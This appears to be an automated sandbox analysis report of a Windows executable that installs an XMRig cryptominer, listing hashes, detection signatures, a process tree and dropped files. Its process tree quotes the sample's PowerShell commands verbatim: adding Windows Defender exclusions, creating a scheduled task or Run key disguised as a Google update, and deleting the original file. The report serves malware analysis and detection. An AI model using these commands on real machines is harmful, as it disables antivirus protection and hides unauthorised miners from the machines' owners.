Resubmissions

21/07/2024, 20:17

240721-y27lvsvfll 10

06/06/2024, 10:00

240606-l14glacf9x 10

06/06/2024, 10:00

240606-l12yrscf9w 10

06/06/2024, 09:56

240606-lyrd9acf71 10

06/06/2024, 09:55

240606-lx1xascf7v 10

06/06/2024, 09:55

240606-lxyf6scf7t 10

06/06/2024, 09:35

240606-lkvvhsce2y 10

06/06/2024, 09:32

240606-lhs8xacd7v 10

06/06/2024, 09:32

240606-lhsx5sdd47 10

Analysis

  • max time kernel
    1798s
  • max time network
    1798s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 09:55

General

  • Target

    qM5GMXBk6hJE6Y5e (25).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3420
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:812
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4908
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:220
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:4760
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4332
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2976
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:5092
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1396
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:4320
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1020
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:1148
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2280

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            440cb38dbee06645cc8b74d51f6e5f71

            SHA1

            d7e61da91dc4502e9ae83281b88c1e48584edb7c

            SHA256

            8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

            SHA512

            3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            1ca947063bf8c58838fa7455bd0b36d6

            SHA1

            045ce9620e4c4df8225e72dd1f5e6a3e2b977e53

            SHA256

            5eb2ec3df52dbc0b6404dc0fb61f76fc4cd510f56a799140fdece2e626da6142

            SHA512

            5e20dc999d0103d9927ab3ea3c272977e74cb0b63c0e533b9ea20094713155a4cd7d918dce6f50ccc6a3c6217439ae6bca87f44c6fc5752f9107a0e1efb8601b

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            affcccd729c0b48149ab968b0161efbd

            SHA1

            520da941860ee4cd13ff7c08a6e56d11751f3934

            SHA256

            0781e44cad7631e78f8f0736e515b6b1572d28a681d9de025f67a44ab15c27bb

            SHA512

            b0987edfd6c259e3d538ee09b7b88da54edc64212c5b9e44e914f672d9a8bd017cfd368b087d981ceeb28f1668150dec27798c6697c0c55d6867c536ff730c2b

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yy1xfzt3.4iu.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            bdb25c22d14ec917e30faf353826c5de

            SHA1

            6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

            SHA256

            e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

            SHA512

            b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b42c70c1dbf0d1d477ec86902db9e986

            SHA1

            1d1c0a670748b3d10bee8272e5d67a4fabefd31f

            SHA256

            8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

            SHA512

            57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

          • memory/884-18-0x00007FFBA2290000-0x00007FFBA2D51000-memory.dmp

            Filesize

            10.8MB

          • memory/884-19-0x00007FFBA2290000-0x00007FFBA2D51000-memory.dmp

            Filesize

            10.8MB

          • memory/884-33-0x00007FFBA2290000-0x00007FFBA2D51000-memory.dmp

            Filesize

            10.8MB

          • memory/884-30-0x00007FFBA2290000-0x00007FFBA2D51000-memory.dmp

            Filesize

            10.8MB

          • memory/884-32-0x00007FFBA2290000-0x00007FFBA2D51000-memory.dmp

            Filesize

            10.8MB

          • memory/1148-108-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-138-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-166-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-164-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-162-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-160-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-158-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-156-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-154-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-152-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-150-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-148-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-146-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-144-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-142-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-140-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-136-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-134-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-132-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-107-0x000001B022BD0000-0x000001B022BF0000-memory.dmp

            Filesize

            128KB

          • memory/1148-130-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-110-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-128-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-112-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-126-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-114-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-116-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-118-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-120-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-122-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/1148-124-0x00007FF6DDE00000-0x00007FF6DE5F4000-memory.dmp

            Filesize

            8.0MB

          • memory/2280-48-0x00007FF6B18B0000-0x00007FF6B1AC1000-memory.dmp

            Filesize

            2.1MB

          • memory/2280-106-0x00007FF6B18B0000-0x00007FF6B1AC1000-memory.dmp

            Filesize

            2.1MB

          • memory/2976-98-0x00000203B7DD0000-0x00000203B7E85000-memory.dmp

            Filesize

            724KB

          • memory/3768-16-0x00007FFBA2290000-0x00007FFBA2D51000-memory.dmp

            Filesize

            10.8MB

          • memory/3768-1-0x00007FFBA2293000-0x00007FFBA2295000-memory.dmp

            Filesize

            8KB

          • memory/3768-11-0x000001F726CC0000-0x000001F726CE2000-memory.dmp

            Filesize

            136KB

          • memory/3768-12-0x00007FFBA2290000-0x00007FFBA2D51000-memory.dmp

            Filesize

            10.8MB

          • memory/3768-13-0x00007FFBA2290000-0x00007FFBA2D51000-memory.dmp

            Filesize

            10.8MB

          • memory/3860-0-0x00007FF75C140000-0x00007FF75C351000-memory.dmp

            Filesize

            2.1MB

          • memory/3860-35-0x00007FF75C140000-0x00007FF75C351000-memory.dmp

            Filesize

            2.1MB

          • memory/4332-74-0x000001C8C32A0000-0x000001C8C32A6000-memory.dmp

            Filesize

            24KB

          • memory/4332-73-0x000001C8C3290000-0x000001C8C3298000-memory.dmp

            Filesize

            32KB

          • memory/4332-72-0x000001C8C32D0000-0x000001C8C32EA000-memory.dmp

            Filesize

            104KB

          • memory/4332-71-0x000001C8C2E20000-0x000001C8C2E2A000-memory.dmp

            Filesize

            40KB

          • memory/4332-70-0x000001C8C32B0000-0x000001C8C32CC000-memory.dmp

            Filesize

            112KB

          • memory/4332-69-0x000001C8C2E10000-0x000001C8C2E1A000-memory.dmp

            Filesize

            40KB

          • memory/4332-68-0x000001C8C3090000-0x000001C8C3145000-memory.dmp

            Filesize

            724KB

          • memory/4332-67-0x000001C8C3070000-0x000001C8C308C000-memory.dmp

            Filesize

            112KB

          • memory/4332-75-0x000001C8C32F0000-0x000001C8C32FA000-memory.dmp

            Filesize

            40KB

          • memory/5092-113-0x00007FF651C00000-0x00007FF651C16000-memory.dmp

            Filesize

            88KB

          • memory/5092-109-0x00007FF651C00000-0x00007FF651C16000-memory.dmp

            Filesize

            88KB